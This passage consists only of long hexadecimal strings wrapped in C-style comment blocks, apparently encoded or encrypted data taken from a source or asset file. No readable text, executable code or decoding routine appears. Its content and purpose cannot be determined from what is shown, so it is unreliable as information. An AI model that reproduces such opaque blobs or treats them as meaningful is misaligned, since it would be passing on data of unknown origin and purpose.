8b391e3e1d9ff405defe82ecfc371e6e548932f28ef50baf424ec025b7a82bef16b9f3f4015b249c598e84a1dfada37f43355f37907f35a914f15690beb5b07cccde1afa40c6caeb219d6823cdf5a8993e4fbca257cfe6a685d7a591967c2a5bb390a36ad4605f07a14c38bd3dabfa14f16dec533bcf014b8e755baa5bceb5a2912a14bcdc7807de31432997f718aa598e722452e9fb99976ab353112fcaf9407acdf3e1b827459742811cd4e05e7db19fbec94f12bafa3b36cb0e603f72b5e952c92815e962e5d59a673d63eaab843c4e1d358bcf3566567c7f3ce13435faef3af5fb602fb80f8a5298d2ed7baa834bd4814eeb859247b4d7cf62d6bd831329e5472e9d5bf6a9a9dff705defda3eb5f54eff8f0c292bd5a6fdffa1e80f0b4714e169dcf29d2d4b58813d90dc5a00cfdb75122a9ecac808b77f77c77dc4e219d10c0e6d610d57f754bfe93311467857935fb0d07af9a1dec604d5d3033419c64f1206aa389ab84bf44adb1a522795999b703196638c8c8d19c9fb520388d15f4f51b9d8c10cc0d36849c0858ccc0ad6721c4e906c2ddf306a1c65b45b5921eb7a4ec7cfe5b3c7bc929b1b2c8b77dc52b729738e5f79f890bc8694a9b8d979e9ba32142a8866eda244c4d7c7695ec1ad4a3d3aba869722a58e6575113e53403b90c4c8914d949d5beff8d77ca3bb83e7878a3f83a6d40b9afe327bf57e03412105ef27ce2a09549f4a5f3a834e40e232e5a7e772a1023483a284d7b4290d7baab1a716e09062793559257bea1a92335b4db86e3f93afe9ce4df0fa54fbe60ede0441ed3d54510c242fb456551db6221cc5e2f2b74b540e46ccf9c2a2c140bd7756067aad6559210194d9c31dbf3b78fed354b6d982ae638d56fb114a7c437161361c8f0ff3dae53301b806868cdb5af41062774b00564b6ec5d19661e5c717b770f451b6bfba4712857df347bf8ea215ff609856acba53088bc45252e840d727fb5b7307107d6102ce882edf815c999dd9a27d7fbec7fdb8ff68e3fcbff4f013a8360119f5106859ab34cce06815d5a3c6e53190a34daaaaf6160a81bbca693692331fd23c30d1b16861f0cc0957176bbee95422f9af6a290f77ce8d0fcb2283fdf3d665c408e9b25de59191a7461208a12c0ee99bc456948fe31c87a5ca128fd2b5ec3fb5eced5faa84befa5ec5fd3e36d57df7c38c2b11d3de1af9d8589619c3dd679f61714b0777d4e2959a26eaf994e9f5452bdfd16fa35d728e78aa6d4a67851f40f2956ec193aa09335089c68de76e74ca35cfde9d72a8f8c33a552ddc92312dc61b7ca794b740d2de211de3e8e017a0c5d99a519908c*/
/*b3fc37f1903760b1272bbc23d827758654d97e111fc5d7c51f26edf26859fb30d1d4b87de6bc21473b4f477c4fff4043635cc61742ea5815d62b8c17bbabe91ee2cf94766485e6a1e328065fa65f1885c09bdfc3a94605954f1b4f65198a85b304df143378cd6d103ceb9a36ab39e57248c49c79947e295572447f5c245cc50e6df1fc99a227b22cdf2741f31a82d8862389eb09de6ce04db237acf9348bf8be4a09565f87a4e62ee308252badd962bfe1520285782fb88b86141cd43e2b0da5c110fc486dd2d39e3cfa072b9ad993641f36cf587f2e204e8e11ceb3ef638d99ba992cc427993b51f4ac87bf164db0143e2f20887b5aea1271e95ec7044f9ff3bec198750053b7e49a10b75c0d80920ef656dd4d53fec76397bbbdb4a92d2fb7d0f376c3e0368fc028272dc69880f4fd5db0b72476c00015f4ee9761b204f7c12b03e0ca94e25760407a586581721b480e0928d5b1a0101c62a533add6bc359068b1c6e8d863950bf2241fcc716014da4685974987e86422e875c607658f79182eb8be70925b52887d6931a82ece498b1dcebe8c3d4df38697cad49e7b6fb1b991ff83c9eb37cd63bf0c1bbcde54cd7fed5b40dcdde0122676792ef91414c00c80245f049d60b641d7df3e325b5eb3f8ddc79a9e1f9800ba6cd134704d5c63dc9310332b735c35444e201c4ce3be3cd022f6e7cdb8503dd5f7ab60a16500b001fadbd5639817fee079debe18beadf338871dbc8eaae1adb8bd8294a0bf1f5f4a272106ee304ca75e7218c1c0792b568b66e61b2aa9efc9dadfbb7cb56e501b8d98397f65bdfe68e218902bb15c340bde8cb9e7a07498e4c80617c5e25b8c89ed3a2a09cd8a0df504c2f47aa664c012bf2219609ea1fe4dd71dd365c7b46c4475b508c5f04a761c8c62f5a33425508fe84da9659208efb475b225173fcf12a532b85957a76599db1e8e4e218fdb042b18a71788a40e333a166503fa8ed9c919e9dc678ca9da07555407b4d26f00c0fc3e86c04e92ca4bccc0d4d3d92ab2d352992f9e94d8a52a55b1be45c34882b2157a2fe6c9f07e51f033213ce8270ce05c72d42a5f13e621a8a3dde4ddb879ca35d6f6b87e8c967530aa0e192c19288878d2f9ebe136afdbb3a8173021059c5af71b7fdfbf6f629311945335a7fb7684ee86873880bcd422fa8fcfba25256e1ace60bce22f5f6cb567904ab17ccfccb5ff938967589ecb8821f0f43d62595d4d63f85bc40091c20a80a7f19cba6ef0d67f45b3c0486df387da9eb65c84ac3d32f25b8c0b37fa0770cd6b902072b7c49fe975d1aba67fb2ba91753b4e935381032f32b3958aaa7de6aa2469ccdac9afd63bfb99869020bf99e2c50864d778e825f083d15838837078f6a797020045c5ccc252cb54ad7e959bca6d7931bd407f08ebfef308e8f82ad8ea667723b616ba6189579f58f503485229d490d57273b8eccd78472f385d3ff1f12f8e933275de0837fd031b167b40a1af26cd3b7f5fe227adcb1630ade5f081dadaece04a39e1b9ccbe3aa8fa8617b7304ffd9c7e93a7b4d8c5d65d938fc04e48a28acaa3bed867833eada47cf6a88b4c1dcc501d350d2f88b79d55d63a5e617203132dda319c325b4a83ab8687dd578e352f4bf4bc7e4f3566a3f5660c92ed35dd425832e38f553bfe862ecb6adb9088dd6f0aa3d89c524284055c7db7ee381806178373d5f5d10380247e23957c51d4383a583ca758990451ee915c5d840f11547bd6bd170a80aa3ee1041f7c7f19073653b6bd54806572fc357125f9d2f5a56ffb98add3687b059b3fcf7c19e3e45efe17e4776c8aadc991e9025d53f30253beefc7b49978e981c06a9033d977ab60247180ed5f012d3680802eba2a8f11ab530d7166801defb7c065b44954438b499ee08510229e1ab18521a504d336dd0dd4bba743b3c3b9d0e0e39c978038009fd6ac7465f307468a2036f6e77a45302532f7a9d2ef2c8cfe0633980fbab469fc35d2266db707763592fb556abcfdba5f4d53966d8249f3c25a700c04a12c62634a4817297a4586f2f84d83470e852ce1f7a198f742e4408b846eb7d733640a60eb4ffe95d7bea816b72d7d0c996057df9aba59cd814efd265b87e979705d9491e236cf4bad6d4599c1e62043aca935627027a1214a1f61ac6d187ee590bd0647400a660862d7d2cd45c504ee06b10e7b0185f797676e43dd7055793d09af6ca006f37577a935be200d00dc885733d644aee89dc119701740559efaded5ab9d139eb8473fad30fdfd4f77db3c8460c38ea089a88f316fef9c2bf3b4b4e4646385d887a1d0624f39cb754e36816b43cb9718837d4c898829f90c733aad3d84f11ebf1d60694dc67890b83cf7eb8fedbfa9c6fa9860983e59549a7c9fa1fcc754349f93d36090a409c9de0abbc256a7e418791c769a7027ccec8623003c2802cf5e54510d226101de19643436051577b510ea7759a476ee40822a8dfbbd70ecce11bbd822d68e6ac88a40cee785ba3208108be89b4003dd409272cf9cac2a02ca2c5f00f6970beed57bf976f86d91bd2cf2186538676d88a16fad810343de432cdbb10aee88027d336c846a02ceb0d1e0bd385247946af91bbd962ea0a153a5767e6d053dace161bcfcc3accf1ae5fc8ced9bcfa90dafb6beaba4665791eed6774d183cfa76a8902ecee6b0344a3750df213d35d6f9268a5ed15504141a7e2300cd06351a00109cd618bca27b60f2f38e23d123cc59f7b32e0a505dfb3b2c661a05d474bd97e81055ad09f8fe298860d849f4db85f34446c3feaeceea533db58dff3a8677c2b801131230*/
/*56daa892a1d8a875462cb73dcf27c6283d782bfd625be446d071f91a0fd18021e49b7d7a6d45a3b832ab062713059bf872dbdf0479bd70108aaffd2e7f61f462520bb62d2f448d34e46a712b960b3e2c1fc8e972ce6f054de285b819889bd3499f0a2e84c5d5b323853cf73cc55883935dc9a727691260901027145b8c9855ed7be5e99b80c3a529e00d473a3c564825e20444b4fba3cb51421e257602fcb738ba50909989055145f333db6fc8a34e7e2c205f1a6bd1e4e60569d59bf7b231eb9a30969a7e5682962ae124a37d73c7b057b007c8f83f14a1dc5a7c87948e40c73381b1305f0d5d2dc735c7870effc65b82139ac073d0b3d93622ee31c23cb4a32b18cde9f6047097bfc7e58b647d9fa393e79ebaf8a2cd03e41640c3f4f8e7ba0fabc4887cea3191580a8779a8c647723ae32914dd04a7c7e16acf536f9f5651eef63d3c904a568a322e94bbe7a60b4ddf15ff444fe0ee157c9623c3c02e82233740f4aec2794684610517e2fcd6153f2bcdcd29bccf5f5eb68ad767e55e5beb7c9c5e1aa4f97c4a6924cddb052c6f8fea4b4b758c1dc865b5311c9ec063c41c2be72898a7d27b181aaab0fef4253abbd5f467e37b42cde302373c29534f0abb8491969d01e3c8d20268419eb914b5f9ab1574c5bae75a3bb2231d8fef2227d53eeaf9873977178e73fe5cbad97933551a68ba58f159649b7176fa940d052d461b34e744e150ca314cf1dcba1c1fa615098d5288ba279f3d595f90edbcb06ce05b78887440d53f6001d4c74b049374afd9f324307be534c63f07ee252b6806cbf0e2ac0430c632116386c542a41a2d0b9fc6d261ba2a8d1ee01cff3b0cf847d2f453a6e38cfdf2833be0dad614797edd6856c437f3a0c37976ef991f1e9f9e2fe213629f5893e321967d786c8ea4111f16a3c4a7cf1fcb2bdcba9081465dacac1b3481c849ab046e79d7d022a2d1087a5140361b234ea75753c765e295597a5b53ca91303eb296252c43f27fa8d3e4f88472efc12469eef79c3d7e9ce97e5501a0b4811966251ecedd1a4c375e940f6c6d6a5d8469cb39d6da94539a1ef89409b7e517d916a29e547708b0fed592a4e0cd1d6df06f02d661f1b94dbf8c7baeb46a180f23af2e338298ffc878929b8fc69107275bdef98ecaf810210e161d57e6d9d618f2a3cd91d5dc5619b6e6119f004a45fd8e4da5e754a33b1046aa0620d23388fa1d826840a6dd89f7b7d1188027b409bac5ddeb1a9fd39a1c7e0e4be5b6c0bd4ce5e76d25fec6c3c11a49dc71cffb945326f470326870be3be6531970c254c53283bd5a1eef097e20ae23b78c86cff19a016d1871a01ec792c964ba7c8fd26d6cf6bf045ed18d02b327312521bdcdf3c0bef92ce5b88346b3116867e21b70cacf43db484e207df966b3726d4cd508e0bb32273fc65e179df806059a8c96f09b2dfda583b11e6943f04528b5cbc5fd5d1152695e41eb0d2bad7e0434f19aeaef0bc14282ab40ac65c4b8672c6a342619747dc7ff3dffb2e8e9e70ec90043b53148b6cc550ad0ac31be3a621d46f591d6a558174c64770b28481886b93492be76ecb31f95f97d699a7e293bb325aebf939b58752862ce64009077076d401b0fa0c5ec1411d59b2b687f83c1c09a6dcb95c7303f030d68b92720b7d4f43c78fd42484ffbb08ff37934d85ad7fa0d6ed0a46bc4e2a62f59b702b2b3d92518aa1d9f7a0b39e6cbd369427ec6426aa87cda8ba5e1b5688c7a759408743cef36d365527173007547b0a0cb6a64b752bd8b3f1dc81c19a6be0925489bc77fafbe60134e6c79a98028995f6ad031d781c1799545fa9167ed0d45eeee93f557473478d92cb5e2e461a2b69505ab61bb08cd7929f15758a8a5e5fbe7a90a1513bdb6b2544ed7695e36885d267920ce3c0b0ccbe8960a9e6637e109753e129eea7f21abbfc99d384383d4e5ce4129a8031ec41aa781809718ffbe9156977e7a618ff6fe7314bf4fe77ff41f627666bdc09f5e7cf4dd430320fc21415414cf376d95086ccc07023c85797ea9e6aeff0cb63e557ad4fb947feae583be089823a675cb6d1992159be759fb54960902ae85f911ed7fb13c9030af96b86e799108582aeaebfbcd990e42558e5567dbaf976cd30d0ef267695e23ddd5eec0174d0ac91c50b41f1e21d3fa0e8eef3954513600b75e495d31c0ae19154f7cc9e93e32ff67d51388fa1d5acd0ffa4651cdac18c7eb426cf4cc36fb4a7f0d0e0f5cc8f14818f188cb58f1e83e8218169190035002a6de440767b6fe85c12429f51dbceb4a9c4b001fb47c969ca3dd35cfdea356918117bd7f7f394a14e3cfca18fa977fbf8516d065e3913154442883a20a59570524b0ee8a3e23fbb43191bdb9fb469864fe78d1cca66e5bd97b0af96fb3955f1b9234d414e369f9ed1a6f961a801c3f36305eff07465bfb1a114ca44b5fb30472973e54c6630bdbc56b58570cb6c9ad5bd3d4875374dd7c7476308ed665472379c8579a3ceafbf7c58fad138d96a6406cc0f900c106d22e6da1a37fd482a3d650a3abbaad9b3f8fb8776eee51784fc8a12d3e7b70b0ee4308f036b428184146230d119736fc16b3eeeb0116f31fa16314f238d5c8ecd756cf686dcb2f43e6eaff0cfc413a580649b18d278d23523e53ec5bfc4acf44e25bba20dc5edde76d1890ffb5996d74356a8028f9ba2ea8a171c64e76535d87f8d16fb060b6155491c31b8b519a7c2f2c5a2b7c8b669f0d5976671f15db84eaf5524253c8652e87758ddb5c696abf0ec46b0943fe05be24ca6771da616fed0cd6ca7aa8d981bf79867fa51f345841*/
/*9629fbdafd14acbd48980b37e992fda5d876c0c2c7516d9a2601aaf87428ca19950ce49cceada465f129e7fd82e4ef938dc0e9867f0eb7c79741b4808701f0a4302b1c2501463a0d0a9df89555a4e2fa648ff8167f6e8d07ddbd95163d45b62d4696d3033a63cbf3b475551094fa8118651ce33dceeb13fbbad42df88f8c792c068ef510a122c177675453f8b77ae419f2f001ccc601ed9ec06b87ec3e075e93180f59f27c925b7435cca35d0133e8c2243c2b3abc1efee057f524701379a0e95db4c00853983b879cc5a781d18bfb1e74099c18ea37fc4f36c55c7d157a5958b23ba480acde05ca59b207baff06c6cce28e172ceba95ce2ae051e07a5456a5234756dfbaa36aa9a336370c4879abec3ae690e6605a004054256a032772996ae4bdea878a2229d43f0afdaaff6ae718964e6226dcb4c04cd53e38602b54d3d1738c149be37606cd7aa94a224a030ec3e19cc22d6d95dcb97034bfe0b511656a2d6995e5a1341fcac072c14072f1235ede9516c5041f3c8f229d4ef201d8b806d617ea524a8e643459f66184b5c2e34cb7b21a290c4387c6170a1215638a4d833dfc32885c93e563d260bdce2e9703875becc616dd27c5789cc9973c7325b826fdcddfc518fac844ea96a7cb17234945ff1db812ed30b03cf047b0ee84b24957bf25abe4785e657be4cb3eb75ffa7fd254587677268ec8623f4ddc17bda44d1d5ce9bb198752941cff98b4e9f574202d12bdccb4f3284df9b57a9d727aedd304e58e87c338d40edde0b6c7386b7edf579a016935d17c1caf1f4b8f087e6d732585e2cd7e1e035a2aba51f9437b97c279699d25613ddf1aa186df2ecd0d5041f5b2c5fd0689abaf3adcabef40184be35b6cf277fe86f1848b08c3f00197bcc0dffee6c1e55c7dc4fc7a9e7de18f9fc3fd5554a98a1674a08dfcd0b3abbe8104fe8f786f657d02b9b536e6baebfcff9868e58df4302558bfc76867cdbf5393a9dd2996a0ea52a566e6db8931604fef7f1a1091b28b3e5cda1a815c5ff29bb4e6009037c0d8024fd1a40f176d1aa755e0362f418b0e45beaf229a36200cb6e9259e2238e2f1102e5f6ba5d102fbe931d41bf96940f8752bbd305b7866c682fd5fe236d29cb210dc421021f7f916dcb2735a955c38096c997072f9dfe2de370d7cab508ebf08919c31a1e154084bdfb33dd8d77628d1bccbb024759c67fbb571bb5d01a5957490747c84aa6f03ba85966b688d7d0a5d91bf47cba7c451f56fa09fd73afe3dcc1943da1a3abd4aeb0849693977e84ac3db2715322477d61ef21657834e177610650cc14bf1136aa88c5fbef112c3b167be947d85e0d202152aa9c38311a1c4387d5faaa57c595ec3859998b49eb29d00013af3015afa26c7901d3a469a4196b010d715b3fccd71b30ac7604080d839fe87b412639cb77cc9c29eb6c559543bf3e09c3c173c84620b7e07e52d0ac8282b181cbd121175a7c3e663acef89927a7ce9f50ff7b1290c0684e70a890b91c0857c3f8d3844c5f14080722fba914cd4d1a32211e8d8166832c3075e3a3b352b8c6f8dcb34fa4f61b3c03b71500f45c6bc96d3c4ffa61a5e2c9e54856560a7ed3ec9cd2681fb894543a3dd6277a2ed021a663bb11cc9ebf7c05919e22efb2cc62124f1fa5647f0937242bd390a9d4757b2915b16c2b2ff5c36e4588ccf8f4146a2453716e55141681970cfcf014d8122b77aa4b84c00c17ffce3739a73842af73b7daba84629ae015bc7666f48ad7ac9ded5ba3e3aefd069c7b79697b33c4c148fa0cde64316d12e0f7290ba7f3c1608485806d2e0ce5a58244fbe8aec7038aa57eab913416f9da624dd78187d607f2ff697217d67a485a53bddade4ab47cb907dc29ab199af62d06ebdef4e173a9c4e329fee177bc05697292851f5bc64677acf5af0f33f2a5b04950e33d6275a9a65123a9a9f272b4ad942c514ee4d80f54781f685f04e8795b9a979c357ab9ee8aecffa0c75f928e1a9d5633206779c3cb049a0e5604b180a220ce6617fa67f358db94739899c357af508872f4ec2294152943cd11047c9051cee4289244db1b4b870ac0ea2ad2a6b576e0c48120b1eafe6169d4aeede899b20bdab41dbe2d1104f2c5f35aa1fcbcccb851301572a395482135ffc69616ab8e3fdfdb7bdd0fbf2af2a8ea75445e6ffcd9d6e1bc54be0af00f9cf48f6cecd4b175287e52fa248647ac5077b93eacf573a607fda323dac22590484ac801b3a8cb8054394de46910797da6c3704073077f1059d0f564e4ecdd9d344815e42d75356889dc5f2f71b99c55306f4ee853bfb6466e26dc7344bc5a2819a6982c310e4148a0b6163ab63ba4c53cf9d55acfb56701b4a77e04de83bbfdf8240503c4452b849cc5b7019dcdd9c065d0e9f52b8ffb392af971652413d1a4120ba7e922ea829073befee603b424d5e25180149e82910095364a5e369f6088d4e102f2d84f50503630f08503d8bc452dfc5334dc8ce0e01c186e23ee34a3a8e84b0b9da34f24676fe1f162fdab4b9d4cd91b29219cd3c2a3c9bbe18fde6b8877ac61785826a9df8401a0688aeabea089812400cc9126c0ef9208b32694d459e6e71e596367dbf7ecff592c3a24dd3fe9c0c55d6c537b591c761eeea3309ffd9c310acc859b1d4321ffc17b73e8fe66a16bca284c6b8125ade593b08141ac7d6c4ea314973d9bcc2c4d30f8560a0a8d9608c441bc0cf25a7bc1f1226ac9971d746654320b4632b5f3026753e85fbb9fbd0f14f97ff0b44bc26a098bc2c18e76c95a4f39675c9f549a1e4b838c9b2eac514c26598c6e6d55dac207cbe4*/
/*cf168a26d74e41b0adc58979b1caec8eb84518ac25d812d55deabca419fe4c95c5c94d43744d949f99c6525e42904a064d8a4f9afc4160bccfbbc16d9a21739af6704c03dae476c17e07f9c4f42f2354cb6527968791977d16ab60f543898cafa8be07e8325109c7f6425ac316d0ddd83e73521298109f06494aeba114b1fe55b808308808cb84748553692bacba66a5990671423958d0250607bc35f8433efed1dbd9a2683dae171d4d85e2d62fdf28ff69e3c6c0c58d969533e5319e13293a1ca6271e766b68cd987f88163b4f5e3e4edf1c9446bfe69ad50b816b7fc64028d4dbdd0d436270641c6c9b56b8755bf2ea3b7f9fd461a042d7044254d004b697a1fdad825ba20e3b9b06f3744882af8f1228708954cb9e07e5a9a69b52d889dcd63e28cfeb1444046ecdc660ed2587d2b2e600c7f77c5b4e76161c4981776302684d02e2d3fa5c68c2ce332bc9d7924f401a52216886d47b75ccdbbb1f053fdd933b7d2364c63dcbc7cdf31e7303511962d0258d9a1d9f550d2e6b258c92f56d065f17265e162969f355dc4c3e137af8289ca2531fe321734d1980f0f518326711498c8fc03ab0c77245b338471075c86364994de19a89da9dcebedb666214a17db63129187d5853ead102df70e0d06899d9f8dc948ca757fa029470702509ca2684834e6fde9e9e0ad1ee829498365c10401a097067a41c8085ad8ef872afbea17f8da26d0169baa4813e19112f0c7d085c3732ad5e8aa95e1b6caa2b599dc72c741ddaae6a52dbd45931c192f4b89d65bbe9a27d2ca8a258c7f8b88e1f4dfa6fac3c0a21f83efbde01ab9c1e7aff3c469675bf9001ccc138aa259e4e104d90d624b7714bd58498d6e9713d4362d46ff669cc453bce86ae7e87f487a5c8b3d71775024d646d545173b6b99d51b157405e20692386bbbda80cbc1b3a5117b2a6f6020f76bf92e0500665053cf59cd580de2136b380a0c22e1b1d7f01d99769a4c54a628f10be8c8371ac59b5136b2120416519238156507f4bc8f54609c8d8ffb13132e0224d267b50659c34c64a458f6340611eb798efe509cdd1b952359484b88da2b5230ca726f1e81569c8b6389d688b73f7571bf87a1add2b46efebc7cd84c58fcc941d24190b25d71358c52cb446042a0a109481923a38ae7cb9b6e538103e763a05d55a7ca7d9f59f0ee82c54977acd8e048e8ebdda79611d552efef3c9abe8762ce7957b85248deb31b418d758a2fba3a5e14b1908fd575fe0872d3cae3300b60b2b1fcba608795c5f54a373752c2e7566ffb97ca318db62fec9ff42ab27771db259719baa4b9b586407fc88391d809e412232e263a3006df855c75f31f3f903ffdf36430a0463f7cbea56003eead70e7048448bdfce455f3030d5ba49651fc50bc22f507f85831e3f500fb9453b01aa31db8c63b03df46e47b0254754724a8b2b3e0e3118e94b9c640714b7a82c3cedabeb8a42f4d5b8ca82470ff9062b6e2b26f79d8216232b96b2fe4bd5d1c3603c913a4af0bf2814ce8bec9d2575446d2ac5368b6192399b41b3889edf4c524bca15b652fb98cba5eaa2486f65106f1dc0a16834f11f0b79a126baee7906db2a764398c35f86080f2ad46ac3e1a86e5c3c0f9b0b334333228817f7325520943e783c5bd3b303ea00aeedcbdd355d9a8229841bf2d57171bfb230c6666b6132a87482827e2a1b33a3e6ef093688ebde7f196c6dd97c0dfa4b63a070a8e9fd743a64a039622d30f28ce7cf3537ad61de6806cf3e427f431716de5220b5f5040a014d2bdd33e8ce354143a09d71740b1bd750d4ec6d74a55cb635b5a529e1fcb86cee50ad5e2ab20770d2680ba0a87eb0a97b18177362c1695871e8c8880740980355b1a14e0446ad69c12257f867a8625030a8e3ec948f1419a8ffe00025dece0c7d0ed5a09a4c9d5a1a620cd31c0c9294f5b31f941272a29fbf2cad2b822f65e233dca66ad4cdd8fccf49dcb3323e08d13330430657a44213358ec0b80f08b0fe4b313197569d1322ed7940915bc22f86a8b52765e02563005f4de0e8efea3be5437b48466608c9c0de60be44d7c7cb32c5896465037fbb55c62004602e89aa69d93f2a722399c0ad42517d8c506fdcb410359381dc0c24162052583d8788208276ab2f920f820ef6e0fe6d6403c34c975a0392cdd5fca7ce70ef0b28084024c37905981d5e3eb55133323c3f81c31ecc861b34dca86546290d4bc32bad716c62c35cbe6016ae085e610795523cd6c932d9cc6e6e367d431480f5688403a147d901d09d8318eb533c0fbd328e809f0112297e8f3cfa3d1dce2efc618a5baa9ba83c0934092a1e2c8981a67cca4aa07c7f5df4bf5a754eb388700998f4673d53b9df179ce5ea72466d919f3f8de6ae0175b18a8071afa125cc73529acd70c9ddad3546a3b96d0c509cb3e7f9d7934f45c835649fbf029dd1c8ee9fa0b68420ded2609658f5092af99b67b4feb9aa0680435cf42723105f157d58dcb2f3f49f2ed00bb954d0a45c7e912fe81b89919c2f4c2d490dc42ab193efd0d5c3ce3aec4ea3aeea3b3832dd834e635e90b69b8ef41afd72e947e82842b2bc32499e8291825ebfec85dd6741013c4c99d3b47eb4dc3b1373d99e7237999ab654b6318938f44fcc7ebeddc1d9c5d5e01b216bf3dce56892fd07233f709686ef1a8cf1b3d59b6967ba8d8c0efc723324790044ea24c7198b52c33adfb9e9654ae5bb07e0800b1f1bb4461a482d7f3216f6adc8e2a06deda680e622a89ea267c36c73e959739b89d1ea8023d7d0c2fb6079e6244ac799dacde39a7adc0177249e59724b1e*/
/*8e6f2bbc9cd4a6e4d3e5da83f4042c185853bf7e2b9ecf39f84873b4a10283cc9b409823ee20317d4a455662419ab1a367ee19c06ce4bcdc91809f1ae522a43f06167628cc44d581beb648c2a3afcee63a16171bfcd94dd7db088832129d9a41c7085216d8d1b182389c25f04afd722d27b489489c56726375143270a5ad5f792da914188b074c7ff8ff49f382fc61b3d3ded0a4cbbd37d20c9dc27f040a6c1e1fb5399dc918a536b54f88a9126bfe4f541d497b61f45732e40ad89eb7bce9dd31275f1d2b3426a076cd46470842433772eef12e096c2a3bbc610c9bcae2a4658be2344b3c20a23bced566351e5be2b5379aafb72d081bb1861a60952ba8fc23327798a64f37f0e043e688113917e1fe505d1bc3e559e4a932bfe35f247f6904b06b9f6f347a01ea802eaa261f861721051017846a1679374b90f7bffd8d4d01d547d2c0e89eaa1a224ca4a8d22d2dd98de57dbd265b3db6edc81b5d150d769d51f0abc07cf9bad1a115e592a35326699f5783e2639eda090933818b6b93d8a31b1b5881222d73ed5f9512d115918e796f06a5535ac1d3e4440d3168af5a71041c439bc3b41b7ba8abdf6431d3049a24770819a21137a473245a901ca29c09555c3691d07787b4f7fed059d6879d2285ff19ff3690189fae30f78ed76737ddfef4c5d23f0a70c0a97ecaef9339859697f230ceb2ef486fd7ad050c45d280ac7da4d00fd04ee60cdf87a9d674b32dfb5e77adf272565dfbae46673a501bab8ccdc34f5b419ec9e60e76e7739c3663c6afd8f006073c831e07255dbb530e1c34cb044870ddefbf339ce0e3428b55a64a01292870d7d5793b07cc426833b5285ba79132d5ba507a07082e9d036d85fd72b8997a412197a630296093c1e2564179075c3f5be711047aa313f3c6e839a3a3e898a2dc69bdd6314d04d0c744e955f683296cb6ec17f9a062f34b8805498d114c59161b3799d0f824f6ac6f8cf53f3a8c6b41acaed9d74d32f5942cfa6f8ac5ae2216b770733d2193d758469b05133dcc10a1a65859a61c7a873b04ca485d029070f1330ec7468fd0da00933bde3493a5a2309d1db0307133e25bd0c79a8cd2ff04223605a34d5eef7ef44bbfa94752d224d6cb89f47c6ad4dda6356f059ca7223de0ba54445901c87ff1a32542cb40145d19ef3441e2dc4cd08aac318b493c680d2374d6cfa16bbef505e2029fa16d9a578a6c1a5d7938739621508398ff2e1ac842aee67c8a8fa3118fcf38e19f1dac53c58b672e32b9a8629663c742cf85f433f4dfbac06398b2299406c41c935d5360431058efa835f9e703c3d4a22b56529524409d909db30e4e62055574b31674fb81a8fbd177f4bc87abbeef93acaaa6e8cc62e9edd2c94be086df384ee9d85cb58e73762805537eacaa7bf3d2da8f9a63bc7cbb0d069f400228b836397ffb0c1c195543d13607b429918c485d45f259dce310b5ea0cd21d62fec21146840dbdfcaeabd6c741d6a094f55311eff8d716765b049177a5d9da88545b440cb3597e9695ebf1f62c96a5cd8b3ef2a6a9a9eeb1e76b2deef5f1d2afd017a6cb26c92a887d61e024fdd22786da969fad55131a2ffdf1fdbeb4888a9fbf1ea8d733b06095e1bf383ade212e2b1711c25a02f8c59d6c5c969518d0bdfab55570f99ce36080a8fc2b3dda1d237739474e163becdad62652eeed6f6143c70f4398e22783446cadd5dd2fec1dc8675ff65c1ca88949422aa502b798fbe1ff52541b2b39c6a91bd4976900dd03e69f28406aa32effda52c07b3ee5483b48a8d7a43a9ec4ad7f215b96fe5609931d55373c4031b159e1d4537db2fc5de942b0f0280b399e08ab75912a3c251bfdfb75aa66ddc2ab047cfcff2c81186674fd10f0dcc49b858a1374fc3ad09e200b2e54eb267b9cf71a90f93ea96b785aa1028359b7fb9aec46540b7f94dcc1952dabe99ee796f62156b6a854ccd7205d4e181891625e025705a78e7007d7280637dcda3147e8c9df7cf417267a32ec96dee4a8c364da8cfb8fc271fe8e9ed7f2c4805444dddd3601c24637872688af72d06dc78499d0106bce39dcc68d85013b83ace95d87e7d7ffdcf6782fcda5564b849a9a790c78e9ff1fb4dc2f765a4dac2bf6166a882fd22872dbb69c646fadf7ba4d49af7e911aca827a7bc0670ba1bb58e61fb6290b60bc75be0c9ce02b2d051664e1ac46fb99c34956ef1f872e53996334a33b0a45f19d7cab281c09b82092eeb7246d769fd894206b6e797a12ac2e5294460daba364760c9bf6bbddfc1c48a92e2e55bdc4be1e9c10dd46f8b13df29208f6919fed3af94b94cbb1d4e8c68d983e99b3baa777491551576bec255da601d6f3bcd6ece2402e10def638909be0550d284a3cde20d1cd69832ee87d346414e6da9630266d5c37ceeda588368d8e5ad303343f7cd614d1c86ec220a6eb36e9af2fabe1760afd23bd407a2ce70ed737eacbce2610ceccb9ba58080f96a1e47d97bfdfc62c623964ac270357ec7c8059669284c8c6282a97a367194061ad1becf09423b831336fdb906fb13b3bffae0f057c137d4297bffb0266fc6662b2e9255bc7094630951f1bc430448afa4c34a8868477a53f31bad8e4bd90b0ea619750ebe54fde5429309d96cdba1e57e74f6fb230da259e1ce3f5db8af223ac78fa1084d81d9135d3d4cae2a7c15d8c113e279aec5ee51a866eafa53972fab581bf0fb7917f5f91286ceb49bf28b85d5e6d02397cbaed3d73bd67ef14e686da66400151e7d0be75dfdef76d4a108c886ec340c6b4577d55985eacdf198fd74f1db0c9c24871683c880c04cd*/
/*bc96dc1b1edaaba39d6d61dc3c0c2c3f5c9085847020f74eb3fec119cd087446d30aedb0045e4c1b1d8b144eae4a7128f60a76609f0338b2721607195110e66e233f46fd1886ae90336154a6311e868619cbd10b9d568520e04f70341859005f070a64e6018f300a0aae6ad94d47826fabc05d36b8866d29d4b37981c8f686a2a5f2c2bea317450c06db95cee28ef4f01262eff8ffe070ebb70e08a038901779f0692e146d960e62ff9236cb9a7cf77f6fb779c4df47ebaef6b12ef256fac144faeaacb9140bd797bffb262be5f51a65f532718af5356323f7b9417be3c708ff21733894441016787b034ac63c9ca45ad330cb96d536691f8bfb8af6ca1ade61fd7e516f4743df9c925c8b07e72aab305bac5843b4462f16858c46df3b1585487a26827a2c99a90ebd4965423d56e298bb61ee3546a31d09eb0059b60abc703017eafe70175538d5a6e935a400975e30f793cb9a809a2530e0864bdf7095e9d4aeb2f55c4b7f9844a5a3ea17d2ebb2562c4e3517052bc24384f9fa8d732a8e466549f506badd66c2518c93a1fbc7d9d3485aeb0c5424bf55670b1a6039c1e6e371a911a371ddb64ed5da881e4427f594318d5f891a5126c977a656ea6d4cb3ab9499c8d5ef787fd9ceca427442744af1e99cc4c5d23c7a68ecba6c4e01527883af7a4d40032f90fd645d31d4835f81382af87b48dac5483f6ff56aa44ad0ae19e27b75977b8a65151626da2577ed9672b0dec5c441b8f836be00e6398d0c5ac1da51e40ceb46a1c4c747ad6b7e0ed7725bc1af9731e4ef85f44445a0489fd90c707baa72a6ceb3f